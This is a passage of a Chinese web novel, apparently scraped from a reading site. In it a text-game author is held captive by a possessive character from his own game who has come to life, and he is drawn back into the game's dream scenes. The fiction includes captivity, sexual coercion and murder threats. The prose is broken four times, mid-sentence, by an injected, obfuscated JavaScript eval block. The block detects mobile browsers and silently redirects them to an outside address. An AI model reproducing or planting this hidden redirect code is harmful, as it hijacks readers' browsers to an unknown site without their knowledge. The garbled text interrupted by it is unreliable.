邬言辞把那一口粥全都吞了下去,连带着许然用过的勺子都含了进去,然后舔了一下嘴角,害羞地点头:“嗯,小然喂的味道果然很好呢。” 邬言辞的动作莫名有些色.情,许然捏着勺子的手紧了紧,又作出一副担忧的样子:“怎么样,会不会不舒服呀。” 邬言辞微微蹙眉:“有一点。” 然后他又痴恋道:“不过是小然喂的,所以那一点也没什么啦!” 真是个恋爱脑,许然吐槽。 “那就多吃点吧。”许然笑着说。 许然一口一口喂邬言辞喝粥,愣是把粥都喝完了,邬言辞还目光灼灼地盯着自己,好像还想要许然喂他。 但许然已经没了耐心,眉宇间隐约透露出一丝烦躁,这粥一点效果也没有啊,不是说吃了会不舒服吗,他把碗往桌上重重放下,“我吃饱了,先回房间了。” 邬言辞乖乖点了点头,又留下来将碗筷都收拾了。 许然回到房间,烦躁和恐惧两种情绪不断撕扯着他的大脑,他抱着头痛苦地蹲下,没有人会在被怪物囚禁的时候一直保持冷静,没有人。 外面传来什么东西被碰倒的声音,许然倏地站起身往外走,就看到邬言辞捂着肚子,神色有些痛苦地往垃圾桶里吐东西。 许然在身后悄然接近,心里像是放了烟花般开心绚烂,面上却担心地不得了,轻轻拍着邬言辞的背--他发现了,邬言辞不会拒绝他的触碰,还特别喜欢,所以他可以通过这些动作去安抚邬言辞。 “你没事吧。”许然说。 邬言辞吐完了,又漱了几口水,见许然来安慰自己,马上好似没有骨头一样倒在许然的怀里,双手环着许然的脖子,发出了可怜地抽泣声,“小然,我有点难受。” 许然仗着邬言辞埋在自己怀里,看不到自己的神情,偷偷勾起嘴角:“不痛了不痛了,都怪我,不该给你喝粥的。” 邬言辞紧紧贴着许然,贪婪地呼吸来自他身上的气息,手不自觉抓紧许然的衣角,呼吸越来越急促。 许然感到疑惑,把埋在自己身上的邬言辞扒拉开,就看到他满脸潮红,跟磕了春.药一样含情脉脉地看着自己,口里还念着他的名字,“小然……” 如果有人能不对这个场景产生任何旖旎的想法,那那个人一定不是一个男人,更何况许然本来就是一个见不得光的同性恋。 邬言辞唤得深情且勾人,许然都不禁闹了个大红脸,一时间竟是没了动静。 邬言辞便轻轻凑上前,像是怕惊扰了许然,如同一个悄无声息的美丽精灵在触碰独属于他的花骨朵,在唇即将碰到许然的唇时,门外响起了敲门声。 许然被自己吓了一大跳,他在做什么?和一个怪物接吻? 他猛地把邬言辞推开,邬言辞猝不及防被推到了一旁,许然跑到门口打开门,发现是自己的快递到了,快递小哥有些不耐烦,“怎么敲了半天的门才来开门。” 许然只是因为这两天和邬言辞接触多了,所以可以自然地交流,但是面对外人,他又一下说不出话来。 平常他都是让快递员把快递放在门口就行了,但刚刚情急之下,他居然一下跑来开门了。 快递员还想说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405349|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,就见许然身后的少年一脸阴霾,神情冷漠,眼中带着疯狂的杀意和警告,一时间被吓了一跳,把东西往许然手里一塞就要走了。 许然忽然反应过来,邬言辞没有拦着他,现在又有快递小哥在,是个绝佳的逃跑机会。 于是他刚要说话,迈动步伐,邬言辞就像幽灵一样贴在了身后,一只手箍住了许然的腰,另一只手猛地把门关上。 快递员走了。 又只留下许然和这个怪物生活在这个房间。 许然抱着快递,一时间还没有从自己再次错失逃跑机会的懊恼中走出来,邬言辞便从他手里拿去了快递,闭着一只眼,像孩童一样精灵古怪道:“这是什么?” 邬言辞把快递包装上的字样念出声:“保密发货?” 许然一下抢走邬言辞手里的快递,慌张道:“这是我的东西!” 邬言辞的手还停留在原地,但脸却微微偏向许然,疑惑道:“咦?我不能看吗?小然有什么秘密瞒着我?” 许然哪好意思说这是什么,都写着保密发货了,当然是他这个单身二十多年的单身狗买的情.趣道具罢了,即使对方不是人,可至少也是个人样,被看到了也太丢人了吧。 许然深知不能惹恼邬言辞,于是又拿出了那虚伪的一套:“就是一些随便买来消遣的玩具而已……” 从某种层面来说,他也确实没有骗邬言辞,里面真的就是一些玩具,但是哪种,就不好说了。 听了许然的解释,邬言辞似乎思考了一会儿,才慢慢叹了口气:“好吧,既然小然不愿意告诉我,那我就不追问啦。” 许然也终于舒了口气,趁着邬言辞继续收拾碗筷的时间把那个快递藏了在了杂物间。 这样应该就没问题了吧…… 许然回了房间,一个人躺在大床上等待夜晚的逃脱机会,但邬言辞实在是太黏人,刚收拾完厨房又进了他房间,手里还捧着许然的笔记本电脑,还真把自己当成这个家的另一个主人了。 “小然,我看他们都说情侣是会一起看电影的,我们一起看电影好不好?” 他们算什么情侣?许然在心里冷笑,却只得强打起精神和邬言辞看他口中的电影,昨天他没有拔掉电源,屏幕还停留在昨天晚上的页面上,是许然打的和邬言辞的he结局。 邬言辞看到这个页面,眼眶微红,一副感人至极的样子,扑到他的怀里:“小然,我就知道你是最爱我的……” 黏糊了一会儿,他才像不好意思一般抬起头,露出一个腼腆的笑容,把这个he界面关掉,但关掉后,显示的页面却是其他角色的he界面。 许然想起来,当时他为了验证邬言辞的线和其他线都没有问题,于是把其他角色的he结局也打了一遍。 邬言辞的眼睛死死盯着屏幕,半晌没说话,像是被里面的画面吸引住了,许然莫名觉得有些瘆人,邬言辞虽然看起来极其不正常,攻击性也很强,但至少暂时没对他发起过攻击,现在看到他眼白弥漫着红血丝,一动不动的样子,又让他想起了昨晚的梦境,那个杀人不眨眼的病娇偏执少年。 不知过了多久,邬言辞才活动了他那白的几乎透明的手指,关掉了窗口,一共五个攻略角色,除掉第一个自己,还有四个。 “原来小然,不止喜欢我一个啊……” 5. 尾巴 邬言辞忽然扭过头看他,那双黑色的眼睛竟是浸满了痛苦,但他却缓缓笑了起来,凑近许然,温柔地,像是哄着自己最珍贵的宝物语音轻轻道:“小然,你喜欢他们吗?” 许然有时反应迟钝,但也不是傻子,看到邬言辞极具割裂的神情和动作也该意识到不对了,这是他在动怒和杀人前的表现,只是这次好像还多了些许他没看懂的情绪。 “我,我不喜欢他们,”许然眼神闪躲,结巴道。 废话,邬言辞虽然不一定懂什么是爱情,但现在邬言辞把自己当成他的男朋友,如果他说喜欢别人,那岂不是给人家戴绿帽子?! “不喜欢……”邬言辞喃喃道,像是自言自语,“小然不喜欢他们,不喜欢……” 许然跟着附和:“对呀,我不喜欢他们,我只喜欢你的。” 邬言辞忽然笑了一下,柔柔靠在许然身上,像一条冰冷的蟒蛇缠绕着他:“那你为什么要攻略他们呀?” 意识到邬言辞在质问自己,许然生怕解释慢了就被邬言辞缠绕到窒息而亡,急忙道:“他们都是假的,他们只是一些数据而已!” “可是我也只是一堆数据--”邬言辞大声道。 许然哑口无言,看着邬言辞即将要红着眼落泪,环着他的手也越来越紧,许然终于想出办法,努力汲取着空气,对着邬言辞耳边道:“但是,但是你是我男朋友呀。你和他们是不一样的。” “男朋友?”邬言辞听到这个回答,果然正常了不少,眼眶里的泪水也没有流出来,只是神情还有些委屈,活像被出轨了的贤惠怨夫。 “对!男朋友,只有你是我的男朋友。”许然见有用,继续道。 邬言辞缓缓摇头,黑不见底的清澈的眸子定定看向许然:“我要你说爱我。” 许然噎住了,这个转变太突然,他一时有些说不出口,而且他也只是个第一次和人如此亲密接触的处男,从来没说过什么情话,一下涨红了脸,“我……我……” “呀!”邬言辞像是发现了什么好玩的玩具,兴奋道,“小然害羞啦?” 许然慌张得不敢面对邬言辞那张漂亮的脸:“才没有!我只是……” “他们说过,只有面对喜欢的人才会害羞的,”邬言辞捂着唇,像是偷尝到美味的蜜饯般笑出了声,“小然害羞起来可真漂亮……” 邬言辞舔了舔唇角,双眼微眯,像是回忆起来了什么,“而且小然的味道也很好,今天更喜欢小然了一些呢。” 许然没有理会邬言辞前言不搭后语的话,在他看来,邬言辞更像一个神经病。 邬言辞心情好了不少,于是轻柔地对他说:“这件事我就不追究啦,不过小然,你千万千万不要喜欢上别人,不然,我会把他们都杀掉的。” “我知道了。”许然小声道。 然后邬言辞又把许然靠在怀里,用电脑连着手机热点找一些热门电影看,稀奇的是,依他这个作者对邬言辞的了解,他以为对方会选择一些血腥暴力的电影看,却没想到邬言辞居然会选了一堆看起来就土得掉渣的爱情电影看。 光是看个开头,许然就觉得无聊得要死,头开始一点一点的,跟钓鱼似的,偏偏邬言辞还为电影里的男女主爱情感动的肝肠寸断的样子,靠在许然身上抽噎道:“他们的爱情故事好感人啊,小然。” 许然迷糊地半睁着眼,胡乱地点了下头,就连黑框眼镜都下滑了半截。 邬言辞睫毛微颤,甜滋滋道:“小然,你看电影里他们都会叫另一半宝贝,我是不是应该也要学习一下?” 许然摆了摆手,就快要睡着,下意识道:“宝贝好油腻。” 邬言辞转了转眼珠,思考了一下,轻启贝齿道:“宝宝。” 许然“蹭”地一下就清醒了,这个称呼在昨晚梦境里邬言辞杀人的时候就曾喊过,导致现在听到一样的声线再次将这两个字说出口,许然就有一种毛骨悚然的感觉。 邬言辞还在含蓄地笑:“小然是又不好意思了吗?脸皮好薄啊。” 许然没说话,看着面前勉强算正常的邬言辞,才慢慢放下心来,都是梦,是梦而已。 好在邬言辞也没有多说什么,他只是看了眼时间,眨了眨眼道:“外卖到了,我去拿一下,小然等我一下,我马上回来。” 许然已经随便他了,看完电影都快下午了,这顿也不知道算午餐还是晚餐,他只想时间快点跳转到晚上方便他逃跑。 不知道邬言辞又去捣鼓什么东西了,总之回来的时间有些晚,许然已经靠在床边半梦半醒了。 好像有什么毛茸茸的东西触碰到了自己,软软的,痒痒的,许然伸出手想抓,却发现自己好像抓到了一条软体动物尾巴。 他睁开眼,就看到邬言辞正摆弄着身上的蝴蝶结蕾丝蓬蓬裙,那条裙子被做成了女仆的款式,短小到只能刚好遮住关键部位,白花花的长腿暴露在空气里,脖子上戴了项圈,而那条尾巴正是邬言辞从裙子后面拿过来挠许然痒痒的。 许然的脸腾地一下变得滚烫,声音都哑了半晌:“你,你干什么乱动我东西?” 这些东西明明是今天快递里面买玩具的满赠好吗?明明已经藏的很好了,怎么还是被发现了? 邬言辞在唇边比了个嘘,似乎在怪许然破坏了氛围,他把脖子上的项圈摘下来,嘴角带着一丝别样意味的笑,慢条斯理将它扣在了许然的脖子上,而这条黑色金属项圈旁边还有一条链条,看上去就像是一条狗链,他稍稍一勾,就把耳朵红的要滴血的许然拉到了身前。 他说话的气息喷洒在许然脖颈,充满了诱惑:“小然,要不要和我一起玩?” 许然想走,却因为链条在邬言辞手中而走不动,只能半仰着头,看着那样拥有一张绝顶容貌的邬言辞充满性暗示地挑逗自己,他半歪着脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405350|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“刚刚的电影里就是这样教的呀,怎么小然的反应有点不一样呢?” 什么?电影? 许然压根没分精力去看邬言辞到底挑了个什么电影,电影内容更是看了个开头就没看了,都在打瞌睡,余光瞥见旁边的电脑屏幕,才发现这家伙是挑了个小h片,尺度特大的那种。 用的还是他收藏的网址。 不是,亏邬言辞刚还在说什么感人,这是爱情故事吗?做.爱故事还差不多。 邬言辞说话的时候,还边往许然身边凑了几步,没想到赠品质量居然这么好,刚才没注意到,现在才发现裙子尾部还有小铃铛,一动就叮当响,而裙子又过于短小,导致许然都能看到白皙的大腿根部,再深就…… “你到底想干嘛?”许然说话都没了底气,喘息声出卖了他的不平静。 邬言辞半跪在许然身上,两个人近到许然甚至可以数清他有多少根睫毛,他轻声道:“想干你。” 说完,他又轻声一笑:“宝宝有反应了诶。” 许然又害羞又愤怒,还有几分不可置信。不应该的,他怎么可以对一个怪物有反应,越漂亮的东西就越有毒,这个道理他是懂的。但是他怎么也没有想到,对方居然真的想要和自己亲密接触,他们到现在为止仅仅认识了两天罢了。 许然闭上眼,冷声道:“松手。” 邬言辞执意拉着他脖子上的项圈,那柔软的尾巴又搭了上来,扫过他的额头,鼻梁,还有嘴唇,即使带着笑意,许然也能听出里面不容拒绝的味道:“小然,我们应该做情侣之间该做的事情。” 许然在心里叹了口气,邬言辞根本不吃硬的这套,他只能来软的,忍着心里的不满:“我觉得发展有些快了,我不是不愿意,我只是觉得,我们应该把这件事情往后推,这是很亲密很亲密的人之间才可以做的事情。” 邬言辞看着他的眼睛,肯定道:“我们就是很亲密很亲密的人。” “可是我们还有很多情侣之间该做的事情都没有做,这是最后一步。”许然硬着头皮掰扯道。 邬言辞把玩着手里的尾巴,眼中多了几丝玩味:“哦?那小然说一下还有什么?” 许然刚要继续瞎编,邬言辞就从床头柜的抽屉里拿出纸和笔,将它们往床上一放,强硬道:“写出来,我们把上面情侣应该做的事做完,你就和我做.爱。” 许然:“…………” 许然没时间去想邬言辞为什么如此清楚他房间的布局,他犹豫地拿起笔,看到邬言辞略带冷漠和不满的脸,还是咬着下唇开始想。 毕竟他可不想和邬言辞上.床。 许然本来就是文字游戏作者,胡编乱造起来废话一大堆,邬言辞难得黑了脸,看着许然越写越长,都翻到了下一页,他终于忍耐不住,直接伸手把本子和笔抢了过来,神情古怪地阴阳道:“写累了吧,小然,要写明天再写。” 6. 回档 这正合许然的意,他倏地站起身,匆忙道了句那我先去洗澡了,就离开了房间。 刚才的画面实在太富有冲击性,许然硬生生在浴室淋了会儿冷水,又洗了把脸才好了许多。然而平静了没多久,邬言辞又来敲门了,声音怯生生的:“小然,我不小心把水杯碰倒在床单上了,今晚估计干不了了,晚上可以和你一起睡吗?” 这理由刻意到许然都懒得喷,刚才邬言辞都那样了,他要是还猜不到邬言辞的目的就是蠢。 “不行,我和别人一起睡不着。”许然回答。而且如果同意了,就意味着他的逃离计划又要泡汤了。 邬言辞悻悻然道:“好吧……” 然后话题一转:“但是小然,你的妈妈好像给你发信息了呢。” 许然一下拉开浴室的门,一向无精打采的神情多了几分冷淡:“她说什么?” 邬言辞的注意力却都放在许然摘掉黑框眼镜的脸上,许然的眼尾下垂,看上去颇有几分无辜感,也显得没什么攻击性,眼下还有一颗痣,又增添了几分清冷,为了洗脸而拨上去的头发则露出了光洁的额头。 邬言辞赞叹:“宝宝,你好漂亮。” 许然:“……” 他很想对邬言辞狠狠翻个白眼,但也只是想想而已,他可不敢惹这个狠角色,只是固执地把话题拉回正轨:“我妈说什么?” “她让你回家一趟。”邬言辞终于回答他。 许然眼底一暗,回家?他怎么回家?他已经被关了48小时,也许马上就要超过这个时间,但是他依然没有想到任何可以逃脱这里的方法。 邬言辞似乎看出了许然的想法,弯眸笑道:“小然要回去吗?” 许然没有回答,反问道:“你让我回去吗?” 邬言辞曲着手指点着下巴,一副理所当然的样子道:“这可是小然的妈妈,我怎么可以阻止小然和妈妈见面呢。” 许然抬起头,神情是藏不住的惊讶:“你……让我回去?” 邬言辞伸出一根手指放在许然唇上,微笑道:“当然让啦,不过小然也要答应我一个要求。” “你说。”只要能走,许然什么都能答应。 不对,和他上.床除外。 看到许然略带犹豫的眼神,邬言辞就像是猜到了许然在想什么似的:“放心啦,既然小然说要慢慢来,我们就慢慢来,所以,你只需要以后都不再拒绝和我一起睡,好吗?” “这样就可以了吗?”许然有些诧异,如果是这样,他并不是不能答应,反正过了今晚他就逃出去了,谁还管曾经答应过这个怪物什么东西。 “是的,这样就可以了。”邬言辞笑着,看起来人畜无害,循循善诱道。 许然终于说出口:“我答应你。不过我出门需要手机,需要电话卡,还需要身份证和现金,你都会给我吗?” “当然啦。小然,你在担心什么呢?我知道我一开始出现把小然吓到了,怕小然不要我了才暂时不让你出门的,但是小然已经说过了呀,你说过你是我的男朋友,你还说过喜欢我,所以小然怎么可能会把我扔下呢。” 自然是担心你出尔反尔。许然想。 不过邬言辞居然会蠢到相信他那些不着调的话,这并不像他,他笔下的邬言辞智商超群,冷静,又疯狂,但更多的时候像个神经病,喜欢取笑和折磨别人。 所以许然还是没有放下警惕心,他轻轻阖眼:“没什么,既然明天要出门,那就早点休息吧。” 邬言辞眼睛一亮,刚要跟上去,就被许然拦住:“先把衣服换掉。” 他真的不能保证继续看着邬言辞穿这套裙子自己会做出什么,怎么也不让邬言辞这样跟进来,最后邬言辞只是咬唇瞥了他一眼,还是乖乖去换了一套许然的睡衣,虽然小了点,但也可以穿。 邬言辞换上许然的睡衣之后似乎更兴奋了,整张脸都是红的,还时不时闷在被窝里,没事就动来动去,本来想着明天要出门许然心里就有些紧张和不安,这下更睡不着了,只好把邬言辞扒拉出来,问:“你睡不睡觉了?” 邬言辞小声说:“睡的,睡的,只是周围都是小然的气味,我有些不好意思。” 说完,他还含羞带怯地看了许然一眼,然后又埋进了被子里。 装什么纯,也不知道晚上看h片,穿裙子色.诱的是谁。 “我要睡了,你不要动了。”许然说。 在这种小事上,邬言辞还是很听话的,接下来都没有再动作,只是过了一会儿后忽然说:“小然,恋人之间都是有晚安吻的,你愿意给我一个吻吗?” 许然背对着邬言辞,闭着眼,装作没听见。 可笑,从小到大还没有人给过自己晚安吻呢,给他这个怪物,他也配? 邬言辞许久没有等到许然的回答,慢慢起身,似乎是怕惊扰了许然,他绕过许然的背面,静静看了半晌,轻声道:“这是我给你的晚安吻,你还欠我一个。” 许然心下一紧,生怕他要和自己接吻,偷偷抿了一点嘴唇,睫毛也不安分地颤动起来。 邬言辞似乎停了一瞬,最后只在额头落下一个轻吻:“晚安。” 对方的动作太温柔,许然心里反而有种怪异的感觉,原本他是睡不着的,但不知道是不是真的因为这个“晚安吻”有一种催眠的魔力,他再次快速沉睡了下去。 -- 梦里,许然又回到了自己做的文游里,如果说一次两次是意外,那么现在,他可以确定,他陷入了一种诡异的循环当中,既然连文游里的攻略角色都能到现实中来,那么自己会回到文游中去已经显得不那么奇怪了,也许这一切都和邬言辞有关。 许然在心里下了定论,饶是已经做好了心理准备,再睁眼发现自己身处一个密闭的仓库时心跳还是漏了一拍,他环顾四周,发现这里环境又脏又差,伸手一挥都能感觉到这有不少的尘埃颗粒在空中飞舞,还有股难闻的酸臭味。 清冽冷漠的声音在他身后响起:“你是谁?他们派来折磨我的?” 许然回头,就看到长相稚嫩许多的邬言辞坐在一个勉强算是干净的地方,双眸阴霾地看着自己,他额头有伤,嘴角也带着血,却散发出一种危险气场,整个人就像个好看的冰塑,完全无法靠近。 即使在这样狼狈的情况下,他依旧精致的像一个洋娃娃。 这时候,许然的面前漂浮出两个选项框。 邬言辞认为你来者不善,对你有较强的攻击性,请问您选择: A:告诉他自己是来救他的 B:沉默不语,为他疗伤 看到这熟悉的选项,许然终于想起来,这是文游主角和邬言辞第一次相遇的剧情,那时候邬言辞刚被人贩子抓走,因为反抗而遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405351|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受虐待,此时他的年龄也不过13岁。 而文游里的主角,就是玩家所扮演的角色,简称主控。他需要在邬言辞年幼遭遇危险的时候出现,帮助他度过难关,在邬言辞心中埋下一颗种子,才能让邬言辞在未来和自己牵扯上关系,从而展开一系列的剧情。 有了上次的经验,许然这次知道自己必须做出决定了。因为现实中邬言辞那病态的爱恋关系,搞得许然剪不断理还乱,他其实并不是很想选择正确攻略的选项,于是他就选择了A。 没错,想要攻略邬言辞的正确选项应该是B。邬言辞心思缜密,从不轻易相信他人,如果选择A,他只会冷漠地听你说完话,不,也许他听都没听,就已经闭上眼不再理你。 选择了A选项后,许然一通解释,果然,邬言辞连听都没听,只是冷冷笑了一下。 许然正思考着怎么离开这个地方,回到现实,他的眼前就出现了一片血雾。 那血色越来越重,重到许然都看不清面前的场景,一段话慢慢浮现在血雾里。 --失去攻略角色邬言辞,游戏失败。 --提示:您需要在游戏内攻略角色邬言辞,否则无法脱离游戏。 --正在为您重新读取最新存档点。 许然感到剧痛来袭,就好像有人用刀尖在他肚子里恶毒地钻来钻去,他倏地跪下,眼前一黑,又回到了一开始见到邬言辞的时候。 他的额头遍布冷汗,而邬言辞在身后说:“你是谁?他们派来折磨我的?” 有了那个不知道什么东西的提示,许然这次很快选择了B选项,虽然很不想攻略这个病娇偏执的漂亮少年,但他更不想被这种奇怪的痛感折磨地死去活来。 即使面对的是13岁的邬言辞,许然也是有些不敢主动上前去给这个小疯子上药的,还好做出了选择之后,他的身体就自动靠近邬言辞,从身上拿出了随身携带的药膏给邬言辞上药。 邬言辞的手被一条铁链锁在柱子上,他漠然地看着许然接近,然后在许然要触碰到自己的时候,忽然张口咬在了许然的手臂上。 那一口咬的极重,许然记得剧情,做好了准备,还是忍不住倒吸一口凉气,龇牙咧嘴地给邬言辞上好了药。 等邬言辞松口,那条手臂已经多了一个青紫的印记,甚至隐隐有渗血的样子。 邬言辞舔了舔自己的虎牙,眯着眼问:“为什么要帮我?” --角色邬言辞好感度+10 感受到身体解除控制,许然才捂着手臂,轻轻吹着被咬过的地方,遮住眼里的怨念,靠,这痛感也就比被刀子捅肚子好那么一点点而已。 上好药之后邬言辞似乎终于愿意认真打量自己,把许然上下扫视了一遍,又道:“你知道你在帮谁吗?” 许然没理邬言辞,闭着眼在旁边休息,他觉得手臂疼得厉害,他只想时间快点过去,他只想回到现实世界,然后找找有什么办法终止这个奇怪且讨厌的梦境。 但是邬言辞见许然不理自己,一个人较起劲儿来,他低低笑了两声,虽然身形还比较瘦小,但那股疯劲儿还在,“我刚刚可是把那些人的一根手指头咬下来了哦,还把他们的一块头皮扯了下来。” 耳边传来锁链挪动的声音,邬言辞不知道什么时候蹲在了许然面前,对着他在耳边轻声道:“那根手指头就在你底下,你坐到了哦。” 7. 咬痕 许然听到简直是汗毛倒立,整个人“哗”地站起来,看到邬言辞笑得开心,就知道自己是被他耍了,气恼地别过头,他还是没有选择和邬言辞说话,这个家伙真的很讨厌。 邬言辞好感度+5 看到面前浮现邬言辞增加好感度的字样,许然更觉郁闷,他到底干什么要写这么一个角色惹自己不痛快。 邬言辞笑了一会儿,见他不应,歪着头道:“你也是为了钱来的吗?没有用哦。” “我生来就是个坏种,我爸妈也知道,他们根本没把希望寄托在我身上,所以他们更不会花钱把我赎出去,赔本买卖,他们不会做的。” 许然自然是知道的,在心里偷偷翻了个白眼,如果他没记错的话,邬言辞这里不应该有这么多话才对。 就在这时,许然的面前又浮现两个选项框。 邬言辞的体力已经到达了极限,你需要为他准备食物,你选择准备: A:小米粥 B:馒头 记得这两个选项加的好感值都是一样的,应该是不会导致攻略失败的,所以许然随便选了A选项。 于是许然便被控制着去早餐店买粥了。 出了刚才那个地方,许然才发现他们居然是在市区,只是是在市区的一个无人看管的仓库里,可惜附近并没有什么住户,但想要逃出去应该不难,主要麻烦的是锁着邬言辞的铁链。 买完粥回来,邬言辞还坐在原地,看到许然,咦了一声,好似看到了什么新奇的事物:“你还会回来?” 要是可以,许然也不想回来,可是他必须得被迫完成他选择的选项,把小米粥买回来之后喂给邬言辞喝。 邬言辞显然不喜欢许然的靠近,但邬言辞的两只手被铁链锁住,根本不能自己吃东西,许然只能按照任务要求喂给他。 起初许然还以为是粥太烫了,喂到邬言辞嘴边他都不喝,于是许然小心地吹了吹,再次喂给邬言辞。 邬言辞却直接撇过头,吐出两个字:“难吃。” “你吃都没吃。”许然难得出声反驳,一是邬言辞年纪还小,双手被束缚,没有再给他那么大的危险感,二是如果他不吃,自己怎么完成这个莫名其妙的选项任务。 再者之前在家里自己给邬言辞喂粥,他不是吃的很欢吗。怎么现在就说不喜欢喝粥了? “原来你会说话,”邬言辞好似又恢复了兴趣,开口道,“怎么我不吃东西你比我还着急?” 因为按照一般文字游戏设定的发展,自己应该是要过掉一部分剧情才可以离开这个梦境的。许然想。 许然抿唇,硬是再凑了过去,一副你不吃我就不放弃的架势,邬言辞看着那一勺粥,不知想了什么,还是屈尊降贵地尝了几口。 许然在心底松了一口气,总算是完成了选项,解除了控制,那么接下来的剧情就应该是解救邬言辞,他记得当时就是主控解救的,但那种方法太费时间,许然只想找到办法快速结束这个梦境。 他可是作者。 许然记得很清楚,其实这个地方通关这一章节,还有另一个捷径。 于是许然在仓库四周寻找了一会,成功找到了一根粗细适中的铁棍,它的硬度也够,应该够把铁链给砸断。 空荡荡的仓库里只有邬言辞的呼吸声和许然悉悉索索找东西的声音,没一会儿,邬言辞就看见许然拖着一根铁棍面无表情地走了过来,那根铁棍一头被许然拿着,另一头在地面滑行,发出“滋啦”的难听的声响。 邬言辞忽然笑了起来,一双黑得透亮的眼睛紧紧盯着许然,像是解脱,又像是兴奋,“终于要杀了我吗?所以刚才那是什么,断头饭?” 许然看着邬言辞,握紧了手中的铁棍,终于露出一丝冰冷的笑意:“对啊,断头饭。” 在现实里你欺负我,关押我,在梦里我总能反将一军吧。 但邬言辞出乎意料的平静,他只是又看了一下那铁棍,似乎在认真思考,然后说:“一棍子敲不死我。” 许然:“……” 邬言辞耸了耸肩,像是无所谓,闭着眼睛等待死亡的到来,时间一分一秒地过去,但是想象中的疼痛却没有到来,他只听得“叮当”一阵声响,和柱子绑在一起的铁链就断了,他的睫毛如羽翼般慢慢舒张,却只看见空无一人的仓库,好像刚才都是他的一场梦。 地上的粥缓缓散发热气,白色的雾飘到邬言辞眼里,他转了转眼珠子,终于开始迟钝地思考起一个问题。 刚才出现的人,是谁? 邬言辞好感度+10 -- 在敲碎铁链后,许然便猛地惊醒,就好像他的任务已经完成了,就被送了回来一般。 他缓了好一会儿,才接受了现在是在现实世界的事实。一看时间还早,凌晨三点,便不打算再继续睡,谁知道还会不会回到那该死的文游里面去。 最好的选择,当然是趁夜深人静跑路,省的邬言辞反悔。 可他刚要动作,就发现自己的腰上出现了一双手,他被那双勒得极紧,就好像生怕许然会逃跑一样。 许然抬头,发现整个人被邬言辞拥入了怀里,对方没有呼吸,没有心跳,就那样冷冰冰的箍住他,如果没有被子,自己肯定会被冷醒。但他似乎考虑到了这点,贴心地在两人之间加了个毯子。许然甚至都不知道他是什么时候做的这些。 在文游里跟疯子一样,谁靠近都无条件攻击,可是到外面又黏人的要命,每次都要皮肤贴着皮肤,不知道有什么毛病。 他轻轻挪动身子,想要趁他不注意摆脱邬言辞的怀抱,但是刚拿出一只手,邬言辞就伸手又揽住了许然,弄得许然心惊肉跳,以为自己被发现了。 等过了一会儿邬言辞没有动静之后,许然第三次尝试钻出邬言辞的怀抱,但是当他要离开邬言辞的怀抱的时候,邬言辞忽然翻身压在了许然身上,于是许然再一次失败了。 终于,许然在他怀里小声道:“你是不是没睡着?” 邬言辞缓缓睁眼,慢慢道:“我不需要睡觉。” 好吧,他忘记了这点。 邬言辞睁着那双漂亮的眼睛看着许然:“那小然呢?小然要去做什么?” 许然犹豫片刻,还是觉得说出来邬言辞估计又会发疯,于是改口道:“没什么,就是睡的不太舒服。” “是因为冷吗?”邬言辞似乎在悄悄观察着他的神情,声音有些难过。 许然想,邬言辞这是愧疚了吧,觉得自己会被他身上冷到?不过隔了层毯子,许然倒也不会被邬言辞身上冷到。但他出于想远离邬言辞的心理,还是轻轻嗯了一声。 邬言辞在黑暗中偷偷勾起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405352|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇角,忽然把毯子往许然身上一裹,把人捞在了自己怀里。 许然措不及防被包成了粽子,自己还贴在邬言辞光滑的肌肤上,登时想挣脱开来,但好像哪里有些奇怪…… 邬言辞身上怎么是温热的? 邬言辞的下巴轻轻蹭在许然的发侧,像是哄小孩一般轻柔道:“小然放心哦,我在热水里泡了很久,还贴了很多发热贴,身上很暖和。” 邬言辞慢慢说:“所以可以抱着我睡觉哦。” 许然总有种上当的感觉,邬言辞不会是故意问自己冷,知道自己会说冷才这样干的吧。 但话已经说出口,无法再改变,他只好缩在邬言辞的怀里等到天明。毕竟处于对非人生物的恐惧和对再次进入文游的担忧,许然是睡不着的。 